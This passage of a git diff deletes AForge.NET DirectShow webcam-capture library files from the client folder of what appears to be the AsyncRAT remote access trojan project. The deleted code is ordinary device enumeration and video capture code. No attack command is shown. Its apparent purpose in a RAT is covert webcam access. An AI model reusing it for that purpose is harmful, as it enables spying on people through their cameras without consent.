- [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
- ref object ppUnk,
- int cPages,
- IntPtr lpPageClsID,
- int lcid,
- int dwReserved,
- IntPtr lpvReserved );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs
deleted file mode 100644
index 365a7c3..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs
+++ /dev/null
@@ -1,123 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2012
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow
-{
- ///
- /// Specifies the physical type of pin (audio or video).
- ///
- public enum PhysicalConnectorType
- {
- ///
- /// Default value of connection type. Physically it does not exist, but just either to specify that
- /// connection type should not be changed (input) or was not determined (output).
- ///
- Default = 0,
- ///
- /// Specifies a tuner pin for video.
- ///
- VideoTuner = 1,
- ///
- /// Specifies a composite pin for video.
- ///
- VideoComposite,
- ///
- /// Specifies an S-Video (Y/C video) pin.
- ///
- VideoSVideo,
- ///
- /// Specifies an RGB pin for video.
- ///
- VideoRGB,
- ///
- /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video.
- ///
- VideoYRYBY,
- ///
- /// Specifies a serial digital pin for video.
- ///
- VideoSerialDigital,
- ///
- /// Specifies a parallel digital pin for video.
- ///
- VideoParallelDigital,
- ///
- /// Specifies a SCSI (Small Computer System Interface) pin for video.
- ///
- VideoSCSI,
- ///
- /// Specifies an AUX (auxiliary) pin for video.
- ///
- VideoAUX,
- ///
- /// Specifies an IEEE 1394 pin for video.
- ///
- Video1394,
- ///
- /// Specifies a USB (Universal Serial Bus) pin for video.
- ///
- VideoUSB,
- ///
- /// Specifies a video decoder pin.
- ///
- VideoDecoder,
- ///
- /// Specifies a video encoder pin.
- ///
- VideoEncoder,
- ///
- /// Specifies a SCART (Peritel) pin for video.
- ///
- VideoSCART,
- ///
- /// Not used.
- ///
- VideoBlack,
-
- ///
- /// Specifies a tuner pin for audio.
- ///
- AudioTuner = 4096,
- ///
- /// Specifies a line pin for audio.
- ///
- AudioLine,
- ///
- /// Specifies a microphone pin.
- ///
- AudioMic,
- ///
- /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
- ///
- AudioAESDigital,
- ///
- /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
- ///
- AudioSPDIFDigital,
- ///
- /// Specifies a SCSI pin for audio.
- ///
- AudioSCSI,
- ///
- /// Specifies an AUX pin for audio.
- ///
- AudioAUX,
- ///
- /// Specifies an IEEE 1394 pin for audio.
- ///
- Audio1394,
- ///
- /// Specifies a USB pin for audio.
- ///
- AudioUSB,
- ///
- /// Specifies an audio decoder pin.
- ///
- AudioDecoder
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs
deleted file mode 100644
index 3256fed..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs
+++ /dev/null
@@ -1,55 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// DirectShow filter categories.
- ///
- [ComVisible( false )]
- public static class FilterCategory
- {
- ///
- /// Audio input device category.
- ///
- ///
- /// Equals to CLSID_AudioInputDeviceCategory.
- ///
- public static readonly Guid AudioInputDevice =
- new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
-
- ///
- /// Video input device category.
- ///
- ///
- /// Equals to CLSID_VideoInputDeviceCategory.
- ///
- public static readonly Guid VideoInputDevice =
- new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
-
- ///
- /// Video compressor category.
- ///
- ///
- /// Equals to CLSID_VideoCompressorCategory.
- ///
- public static readonly Guid VideoCompressorCategory =
- new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
-
- ///
- /// Audio compressor category
- ///
- ///
- /// Equals to CLSID_AudioCompressorCategory.
- ///
- public static readonly Guid AudioCompressorCategory =
- new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs
deleted file mode 100644
index a7c8dd4..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs
+++ /dev/null
@@ -1,245 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
- using System.Collections.Generic;
- using System.Drawing;
- using System.Runtime.InteropServices;
-
- using AForge.Video;
- using AForge.Video.DirectShow.Internals;
-
- ///
- /// Capabilities of video device such as frame size and frame rate.
- ///
- public class VideoCapabilities
- {
- ///
- /// Frame size supported by video device.
- ///
- public readonly Size FrameSize;
-
- ///
- /// Frame rate supported by video device for corresponding frame size.
- ///
- ///
- /// This field is depricated - should not be used.
- /// Its value equals to .
- ///
- ///
- [Obsolete( "No longer supported. Use AverageFrameRate instead." )]
- public int FrameRate
- {
- get { return AverageFrameRate; }
- }
-
- ///
- /// Average frame rate of video device for corresponding frame size.
- ///
- public readonly int AverageFrameRate;
-
- ///
- /// Maximum frame rate of video device for corresponding frame size.
- ///
- public readonly int MaximumFrameRate;
-
- ///
- /// Number of bits per pixel provided by the camera.
- ///
- public readonly int BitCount;
-
- internal VideoCapabilities( ) { }
-
- // Retrieve capabilities of a video device
- static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
- {
- if ( videoStreamConfig == null )
- throw new ArgumentNullException( "videoStreamConfig" );
-
- // ensure this device reports capabilities
- int count, size;
- int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
-
- if ( hr != 0 )
- Marshal.ThrowExceptionForHR( hr );
-
- if ( count <= 0 )
- throw new NotSupportedException( "This video device does not report capabilities." );
-
- if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
- throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
-
- // group capabilities with similar parameters
- Dictionary videocapsList = new Dictionary( );
-
- for ( int i = 0; i < count; i++ )
- {
- try
- {
- VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
-
- uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
- ( ( (uint) vc.FrameSize.Width ) << 16 );
-
- if ( !videocapsList.ContainsKey( key ) )
- {
- videocapsList.Add( key, vc );
- }
- else
- {
- if ( vc.BitCount > videocapsList[key].BitCount )
- {
- videocapsList[key] = vc;
- }
- }
- }
- catch
- {
- }
- }
-
- VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
- videocapsList.Values.CopyTo( videocaps, 0 );
-
- return videocaps;
- }
-
- // Retrieve capabilities of a video device
- internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
- {
- AMMediaType mediaType = null;
- VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
-
- try
- {
- // retrieve capabilities struct at the specified index
- int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
-
- if ( hr != 0 )
- Marshal.ThrowExceptionForHR( hr );
-
- if ( mediaType.FormatType == FormatType.VideoInfo )
- {
- VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
-
- FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
- BitCount = videoInfo.BmiHeader.BitCount;
- AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
- MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
- }
- else if ( mediaType.FormatType == FormatType.VideoInfo2 )
- {
- VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
-
- FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
- BitCount = videoInfo.BmiHeader.BitCount;
- AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
- MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
- }
- else
- {
- throw new ApplicationException( "Unsupported format found." );
- }
-
- // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
- // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
- // on such formats
- if ( BitCount <= 12 )
- {
- throw new ApplicationException( "Unsupported format found." );
- }
- }
- finally
- {
- if ( mediaType != null )
- mediaType.Dispose( );
- }
- }
-
- ///
- /// Check if the video capability equals to the specified object.
- ///
- ///
- /// Object to compare with.
- ///
- /// Returns true if both are equal are equal or false otherwise.
- ///
- public override bool Equals( object obj )
- {
- return Equals( obj as VideoCapabilities );
- }
-
- ///
- /// Check if two video capabilities are equal.
- ///
- ///
- /// Second video capability to compare with.
- ///
- /// Returns true if both video capabilities are equal or false otherwise.
- ///
- public bool Equals( VideoCapabilities vc2 )
- {
- if ( (object) vc2 == null )
- {
- return false;
- }
-
- return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
- }
-
- ///
- /// Get hash code of the object.
- ///
- ///
- /// Returns hash code ot the object
- public override int GetHashCode( )
- {
- return FrameSize.GetHashCode( ) ^ BitCount;
- }
-
- ///
- /// Equality operator.
- ///
- ///
- /// First object to check.
- /// Seconds object to check.
- ///
- /// Return true if both objects are equal or false otherwise.
- public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
- {
- // if both are null, or both are same instance, return true.
- if ( object.ReferenceEquals( a, b ) )
- {
- return true;
- }
-
- // if one is null, but not both, return false.
- if ( ( (object) a == null ) || ( (object) b == null ) )
- {
- return false;
- }
-
- return a.Equals( b );
- }
-
- ///
- /// Inequality operator.
- ///
- ///
- /// First object to check.
- /// Seconds object to check.
- ///
- /// Return true if both objects are not equal or false otherwise.
- public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
- {
- return !( a == b );
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs
deleted file mode 100644
index 8b76c5a..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs
+++ /dev/null
@@ -1,1698 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
- using System.Collections.Generic;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.Threading;
- using System.Runtime.InteropServices;
-
- using AForge.Video;
- using AForge.Video.DirectShow.Internals;
-
- ///
- /// Video source for local video capture device (for example USB webcam).
- ///
- ///
- /// This video source class captures video data from local video capture device,
- /// like USB web camera (or internal), frame grabber, capture board - anything which
- /// supports DirectShow interface. For devices which has a shutter button or
- /// support external software triggering, the class also allows to do snapshots. Both
- /// video size and snapshot size can be configured.
- ///
- /// Sample usage:
- ///
- /// // enumerate video devices
- /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
- /// // create video source
- /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString );
- /// // set NewFrame event handler
- /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame );
- /// // start the video source
- /// videoSource.Start( );
- /// // ...
- /// // signal to stop when you no longer need capturing
- /// videoSource.SignalToStop( );
- /// // ...
- ///
- /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )
- /// {
- /// // get new frame
- /// Bitmap bitmap = eventArgs.Frame;
- /// // process the frame
- /// }
- ///
- ///
- ///
- public class VideoCaptureDevice : IVideoSource
- {
- // moniker string of video capture device
- private string deviceMoniker;
- // received frames count
- private int framesReceived;
- // recieved byte count
- private long bytesReceived;
-
- // video and snapshot resolutions to set
- private VideoCapabilities videoResolution = null;
- private VideoCapabilities snapshotResolution = null;
-
- // provide snapshots or not
- private bool provideSnapshots = false;
-
- private Thread thread = null;
- private ManualResetEvent stopEvent = null;
-
- private VideoCapabilities[] videoCapabilities;
- private VideoCapabilities[] snapshotCapabilities;
-
- private bool needToSetVideoInput = false;
- private bool needToSimulateTrigger = false;
- private bool needToDisplayPropertyPage = false;
- private bool needToDisplayCrossBarPropertyPage = false;
- private IntPtr parentWindowForPropertyPage = IntPtr.Zero;
-
- // video capture source object
- private object sourceObject = null;
-
- // time of starting the DirectX graph
- private DateTime startTime = new DateTime( );
-
- // dummy object to lock for synchronization
- private object sync = new object( );
-
- // flag specifying if IAMCrossbar interface is supported by the running graph/source object
- private bool? isCrossbarAvailable = null;
-
- private VideoInput[] crossbarVideoInputs = null;
- private VideoInput crossbarVideoInput = VideoInput.Default;
-
- // cache for video/snapshot capabilities and video inputs
- private static Dictionary cacheVideoCapabilities = new Dictionary( );
- private static Dictionary cacheSnapshotCapabilities = new Dictionary( );
- private static Dictionary cacheCrossbarVideoInputs = new Dictionary( );
-
- ///
- /// Current video input of capture card.
- ///
- ///
- /// The property specifies video input to use for video devices like capture cards
- /// (those which provide crossbar configuration). List of available video inputs can be obtained
- /// from property.
- ///
- /// To check if the video device supports crossbar configuration, the
- /// method can be used.
- ///
- /// This property can be set as before running video device, as while running it.
- ///
- /// By default this property is set to , which means video input
- /// will not be set when running video device, but currently configured will be used. After video device
- /// is started this property will be updated anyway to tell current video input.
- ///
- ///
- public VideoInput CrossbarVideoInput
- {
- get { return crossbarVideoInput; }
- set
- {
- needToSetVideoInput = true;
- crossbarVideoInput = value;
- }
- }
-
- ///
- /// Available inputs of the video capture card.
- ///
- ///
- /// The property provides list of video inputs for devices like video capture cards.
- /// Such devices usually provide several video inputs, which can be selected using crossbar.
- /// If video device represented by the object of this class supports crossbar, then this property
- /// will list all video inputs. However if it is a regular USB camera, for example, which does not
- /// provide crossbar configuration, the property will provide zero length array.
- ///
- /// Video input to be used can be selected using . See also
- /// method, which provides crossbar configuration dialog.
- ///
- /// It is recomended not to call this property immediately after method, since
- /// device may not start yet and provide its information. It is better to call the property
- /// before starting device or a bit after (but not immediately after).
- ///
- ///
- public VideoInput[] AvailableCrossbarVideoInputs
- {
- get
- {
- if ( crossbarVideoInputs == null )
- {
- lock ( cacheCrossbarVideoInputs )
- {
- if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) )
- {
- crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker];
- }
- }
-
- if ( crossbarVideoInputs == null )
- {
- if ( !IsRunning )
- {
- // create graph without playing to collect available inputs
- WorkerThread( false );
- }
- else
- {
- for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ )
- {
- Thread.Sleep( 10 );
- }
- }
- }
- }
- // don't return null even if capabilities are not provided for some reason
- return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0];
- }
- }
-
- ///
- /// Specifies if snapshots should be provided or not.
- ///
- ///
- /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it
- /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will
- /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property
- /// is set to , then snapshots will be provided through
- /// event.
- ///
- /// Check supported sizes of snapshots using property and set the
- /// desired size using property.
- ///
- /// The property must be set before running the video source to take effect.
- ///
- /// Default value of the property is set to .
- ///
- ///
- public bool ProvideSnapshots
- {
- get { return provideSnapshots; }
- set { provideSnapshots = value; }
- }
-
- ///
- /// New frame event.
- ///
- ///
- /// Notifies clients about new available frame from video source.
- ///
- /// Since video source may have multiple clients, each client is responsible for
- /// making a copy (cloning) of the passed video frame, because the video source disposes its
- /// own original copy after notifying of clients.
- ///
- ///
- public event NewFrameEventHandler NewFrame;
-
- ///
- /// Snapshot frame event.
- ///
- ///
- /// Notifies clients about new available snapshot frame - the one which comes when
- /// camera's snapshot/shutter button is pressed.
- ///
- /// See documentation to for additional information.
- ///
- /// Since video source may have multiple clients, each client is responsible for
- /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its
- /// own original copy after notifying of clients.
- ///
- ///
- ///
- ///
- public event NewFrameEventHandler SnapshotFrame;
-
- ///
- /// Video source error event.
- ///
- ///
- /// This event is used to notify clients about any type of errors occurred in
- /// video source object, for example internal exceptions.
- ///
- public event VideoSourceErrorEventHandler VideoSourceError;
-
- ///
- /// Video playing finished event.
- ///
- ///
- /// This event is used to notify clients that the video playing has finished.
- ///
- ///
- public event PlayingFinishedEventHandler PlayingFinished;
-
- ///
- /// Video source.
- ///
- ///
- /// Video source is represented by moniker string of video capture device.
- ///
- public virtual string Source
- {
- get { return deviceMoniker; }
- set
- {
- deviceMoniker = value;
-
- videoCapabilities = null;
- snapshotCapabilities = null;
- crossbarVideoInputs = null;
- isCrossbarAvailable = null;
- }
- }
-
- ///
- /// Received frames count.
- ///
- ///
- /// Number of frames the video source provided from the moment of the last
- /// access to the property.
- ///
- ///
- public int FramesReceived
- {
- get
- {
- int frames = framesReceived;
- framesReceived = 0;
- return frames;
- }
- }
-
- ///
- /// Received bytes count.
- ///
- ///
- /// Number of bytes the video source provided from the moment of the last
- /// access to the property.
- ///
- ///
- public long BytesReceived
- {
- get
- {
- long bytes = bytesReceived;
- bytesReceived = 0;
- return bytes;
- }
- }
-
- ///
- /// State of the video source.
- ///
- ///
- /// Current state of video source object - running or not.
- ///
- public bool IsRunning
- {
- get
- {
- if ( thread != null )
- {
- // check thread status
- if ( thread.Join( 0 ) == false )
- return true;
-
- // the thread is not running, free resources
- Free( );
- }
- return false;
- }
- }
-
- ///
- /// Obsolete - no longer in use
- ///
- ///
- /// The property is obsolete. Use property instead.
- /// Setting this property does not have any effect.
- ///
- [Obsolete]
- public Size DesiredFrameSize
- {
- get { return Size.Empty; }
- set { }
- }
-
- ///
- /// Obsolete - no longer in use
- ///
- ///
- /// The property is obsolete. Use property instead.
- /// Setting this property does not have any effect.
- ///
- [Obsolete]
- public Size DesiredSnapshotSize
- {
- get { return Size.Empty; }
- set { }
- }
-
- ///
- /// Obsolete - no longer in use.
- ///
- ///
- /// The property is obsolete. Setting this property does not have any effect.
- ///
- [Obsolete]
- public int DesiredFrameRate
- {
- get { return 0; }
- set { }
- }
-
- ///
- /// Video resolution to set.
- ///
- ///
- /// The property allows to set one of the video resolutions supported by the camera.
- /// Use property to get the list of supported video resolutions.
- ///
- /// The property must be set before camera is started to make any effect.
- ///
- /// Default value of the property is set to , which means default video
- /// resolution is used.
- ///
- ///
- public VideoCapabilities VideoResolution
- {
- get { return videoResolution; }
- set { videoResolution = value; }
- }
-
- ///
- /// Snapshot resolution to set.
- ///
- ///
- /// The property allows to set one of the snapshot resolutions supported by the camera.
- /// Use property to get the list of supported snapshot resolutions.
- ///
- /// The property must be set before camera is started to make any effect.
- ///
- /// Default value of the property is set to , which means default snapshot
- /// resolution is used.
- ///
- ///
- public VideoCapabilities SnapshotResolution
- {
- get { return snapshotResolution; }
- set { snapshotResolution = value; }
- }
-
- ///
- /// Video capabilities of the device.
- ///
- ///
- /// The property provides list of device's video capabilities.
- ///
- /// It is recomended not to call this property immediately after method, since
- /// device may not start yet and provide its information. It is better to call the property
- /// before starting device or a bit after (but not immediately after).
- ///
- ///
- public VideoCapabilities[] VideoCapabilities
- {
- get
- {
- if ( videoCapabilities == null )
- {
- lock ( cacheVideoCapabilities )
- {
- if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) )
- {
- videoCapabilities = cacheVideoCapabilities[deviceMoniker];
- }
- }
-
- if ( videoCapabilities == null )
- {
- if ( !IsRunning )
- {
- // create graph without playing to get the video/snapshot capabilities only.
- // not very clean but it works
- WorkerThread( false );
- }
- else
- {
- for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ )
- {
- Thread.Sleep( 10 );
- }
- }
- }
- }
- // don't return null even capabilities are not provided for some reason
- return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0];
- }
- }
-
- ///
- /// Snapshot capabilities of the device.
- ///
- ///
- /// The property provides list of device's snapshot capabilities.
- ///
- /// If the array has zero length, then it means that this device does not support making
- /// snapshots.
- ///
- /// See documentation to for additional information.
- ///
- /// It is recomended not to call this property immediately after method, since
- /// device may not start yet and provide its information. It is better to call the property
- /// before starting device or a bit after (but not immediately after).
- ///
- ///
- ///
- ///
- public VideoCapabilities[] SnapshotCapabilities
- {
- get
- {
- if ( snapshotCapabilities == null )
- {
- lock ( cacheSnapshotCapabilities )
- {
- if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) )
- {
- snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker];
- }
- }
-
- if ( snapshotCapabilities == null )
- {
- if ( !IsRunning )
- {
- // create graph without playing to get the video/snapshot capabilities only.
- // not very clean but it works
- WorkerThread( false );
- }
- else
- {
- for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ )
- {
- Thread.Sleep( 10 );
- }
- }
- }
- }
- // don't return null even capabilities are not provided for some reason
- return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0];
- }
- }
-
- ///
- /// Source COM object of camera capture device.
- ///
- ///
- /// The source COM object of camera capture device is exposed for the
- /// case when user may need get direct access to the object for making some custom
- /// configuration of camera through DirectShow interface, for example.
- ///
- ///
- /// If camera is not running, the property is set to .
- ///
- ///
- public object SourceObject
- {
- get { return sourceObject; }
- }
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- public VideoCaptureDevice( ) { }
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// Moniker string of video capture device.
- ///
- public VideoCaptureDevice( string deviceMoniker )
- {
- this.deviceMoniker = deviceMoniker;
- }
-
- ///
- /// Start video source.
- ///
- ///
- /// Starts video source and return execution to caller. Video source
- /// object creates background thread and notifies about new frames with the
- /// help of event.
- ///
- public void Start( )
- {
- if ( !IsRunning )
- {
- // check source
- if ( string.IsNullOrEmpty( deviceMoniker ) )
- throw new ArgumentException( "Video source is not specified." );
-
- framesReceived = 0;
- bytesReceived = 0;
- isCrossbarAvailable = null;
- needToSetVideoInput = true;
-
- // create events
- stopEvent = new ManualResetEvent( false );
-
- lock ( sync )
- {
- // create and start new thread
- thread = new Thread( new ThreadStart( WorkerThread ) );
- thread.Name = deviceMoniker; // mainly for debugging
- thread.Start( );
- }
- }
- }
-
- ///
- /// Signal video source to stop its work.
- ///
- ///
- /// Signals video source to stop its background thread, stop to
- /// provide new frames and free resources.
- ///
- public void SignalToStop( )
- {
- // stop thread
- if ( thread != null )
- {
- // signal to stop
- stopEvent.Set( );
- }
- }
-
- ///
- /// Wait for video source has stopped.
- ///
- ///
- /// Waits for source stopping after it was signalled to stop using
- /// method.
- ///
- public void WaitForStop( )
- {
- if ( thread != null )
- {
- // wait for thread stop
- thread.Join( );
-
- Free( );
- }
- }
-
- ///
- /// Stop video source.
- ///
- ///
- /// Stops video source aborting its thread.
- ///
- /// Since the method aborts background thread, its usage is highly not preferred
- /// and should be done only if there are no other options. The correct way of stopping camera
- /// is signaling it stop and then
- /// waiting for background thread's completion.
- ///
- ///
- public void Stop( )
- {
- if ( this.IsRunning )
- {
- thread.Abort( );
- WaitForStop( );
- }
- }
-
- ///
- /// Free resource.
- ///
- ///
- private void Free( )
- {
- thread = null;
-
- // release events
- stopEvent.Close( );
- stopEvent = null;
- }
-
- ///
- /// Display property window for the video capture device providing its configuration
- /// capabilities.
- ///
- ///
- /// Handle of parent window.
- ///
- /// If you pass parent window's handle to this method, then the
- /// displayed property page will become modal window and none of the controls from the
- /// parent window will be accessible. In order to make it modeless it is required
- /// to pass as parent window's handle.
- ///
- ///
- ///
- /// The video source does not support configuration property page.
- ///
- public void DisplayPropertyPage( IntPtr parentWindow )
- {
- // check source
- if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) )
- throw new ArgumentException( "Video source is not specified." );
-
- lock ( sync )
- {
- if ( IsRunning )
- {
- // pass the request to backgroud thread if video source is running
- parentWindowForPropertyPage = parentWindow;
- needToDisplayPropertyPage = true;
- return;
- }
-
- object tempSourceObject = null;
-
- // create source device's object
- try
- {
- tempSourceObject = FilterInfo.CreateFilter( deviceMoniker );
- }
- catch
- {
- throw new ApplicationException( "Failed creating device object for moniker." );
- }
-
- if ( !( tempSourceObject is ISpecifyPropertyPages ) )
- {
- throw new NotSupportedException( "The video source does not support configuration property page." );
- }
-
- DisplayPropertyPage( parentWindow, tempSourceObject );
-
- Marshal.ReleaseComObject( tempSourceObject );
- }
- }
-
- ///
- /// Display property page of video crossbar (Analog Video Crossbar filter).
- ///
- ///
- /// Handle of parent window.
- ///
- /// The Analog Video Crossbar filter is modeled after a general switching matrix,
- /// with n inputs and m outputs. For example, a video card might have two external connectors:
- /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on
- /// the filter. The displayed property page allows to configure the crossbar by selecting input
- /// of a video card to use.
- ///
- /// This method can be invoked only when video source is running ( is
- /// ). Otherwise it generates exception.
- ///
- /// Use method to check if running video source provides
- /// crossbar configuration.
- ///
- ///
- /// The video source must be running in order to display crossbar property page.
- /// Crossbar configuration is not supported by currently running video source.
- ///
- public void DisplayCrossbarPropertyPage( IntPtr parentWindow )
- {
- lock ( sync )
- {
- // wait max 5 seconds till the flag gets initialized
- for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ )
- {
- Thread.Sleep( 10 );
- }
-
- if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) )
- {
- throw new ApplicationException( "The video source must be running in order to display crossbar property page." );
- }
-
- if ( !isCrossbarAvailable.Value )
- {
- throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." );
- }
-
- // pass the request to background thread if video source is running
- parentWindowForPropertyPage = parentWindow;
- needToDisplayCrossBarPropertyPage = true;
- }
- }
-
- ///
- /// Check if running video source provides crossbar for configuration.
- ///
- ///
- /// Returns if crossbar configuration is available or
- /// otherwise.
- ///
- /// The method reports if the video source provides crossbar configuration
- /// using .
- ///
- ///
- public bool CheckIfCrossbarAvailable( )
- {
- lock ( sync )
- {
- if ( !isCrossbarAvailable.HasValue )
- {
- if ( !IsRunning )
- {
- // create graph without playing to collect available inputs
- WorkerThread( false );
- }
- else
- {
- for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ )
- {
- Thread.Sleep( 10 );
- }
- }
- }
-
- return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value;
- }
- }
-
-
- ///
- /// Simulates an external trigger.
- ///
- ///
- /// The method simulates external trigger for video cameras, which support
- /// providing still image snapshots. The effect is equivalent as pressing camera's shutter
- /// button - a snapshot will be provided through event.
- ///
- /// The property must be set to
- /// to enable receiving snapshots.
- ///
- ///
- public void SimulateTrigger( )
- {
- needToSimulateTrigger = true;
- }
-
- ///
- /// Sets a specified property on the camera.
- ///
- ///
- /// Specifies the property to set.
- /// Specifies the new value of the property.
- /// Specifies the desired control setting.
- ///
- /// Returns true on sucee or false otherwise.
- ///
- /// Video source is not specified - device moniker is not set.
- /// Failed creating device object for moniker.
- /// The video source does not support camera control.
- ///
- public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags )
- {
- bool ret = true;
-
- // check if source was set
- if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) )
- {
- throw new ArgumentException( "Video source is not specified." );
- }
-
- lock ( sync )
- {
- object tempSourceObject = null;
-
- // create source device's object
- try
- {
- tempSourceObject = FilterInfo.CreateFilter( deviceMoniker );
- }
- catch
- {
- throw new ApplicationException( "Failed creating device object for moniker." );
- }
-
- if ( !( tempSourceObject is IAMCameraControl ) )
- {
- throw new NotSupportedException( "The video source does not support camera control." );
- }
-
- IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject;
- int hr = pCamControl.Set( property, value, controlFlags );
-
- ret = ( hr >= 0 );
-
- Marshal.ReleaseComObject( tempSourceObject );
- }
-
- return ret;
- }
-
- ///
- /// Gets the current setting of a camera property.
- ///
- ///
- /// Specifies the property to retrieve.
- /// Receives the value of the property.
- /// Receives the value indicating whether the setting is controlled manually or automatically
- ///
- /// Returns true on sucee or false otherwise.
- ///
- /// Video source is not specified - device moniker is not set.
- /// Failed creating device object for moniker.
- /// The video source does not support camera control.
- ///
- public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags )
- {
- bool ret = true;
-
- // check if source was set
- if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) )
- {
- throw new ArgumentException( "Video source is not specified." );
- }
-
- lock ( sync )
- {
- object tempSourceObject = null;
-
